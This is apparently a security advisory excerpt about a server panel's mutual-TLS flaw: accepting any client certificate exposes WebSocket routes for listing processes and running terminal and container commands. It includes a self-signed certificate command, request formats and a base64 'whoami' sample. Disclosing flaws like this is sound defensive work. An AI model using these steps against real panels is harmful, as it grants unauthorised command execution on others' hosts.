Note::Here due to the use of tls.RequireAnyClientCert instead of tls.RequireAndVerifyClientCert,RequireAnyClientCert Only require the client to provide a certificate,Does not verify the issuance of certificates CA,So any self assigned certificate will pass TLS handshake。
Process WebSocket interface (based on the above questions, all processes and other sensitive information can be obtained) routing address: /process/ws the request format is as follows
{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}
Terminal SSH WebSocket interface (according to the above problem, any command can be executed) routing address: /hosts/terminal the request format is as follows
{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}
Container Terminal WebSocket interface (container execution command interface) routing address:/containers/terminal
File Download Process WebSocket interface (automatically push download progress information) routing address:/files/wget/process
First generate a fake certificate openssl req -x509 -newkey rsa:2048 -keyout panelclient.key -out panelclient.crt -days 365 -nodes -subj "/CN=panel_client"
Then use the certificate to request verification. If the websocket interface is successfully connected, there is a vulnerability.
{ "github_reviewed": true, "nvd_published_at": null, "github_reviewed_at": "2025-08-01T18:10:21Z", "severity": "HIGH", "cwe_ids": [ "CWE-295" ] }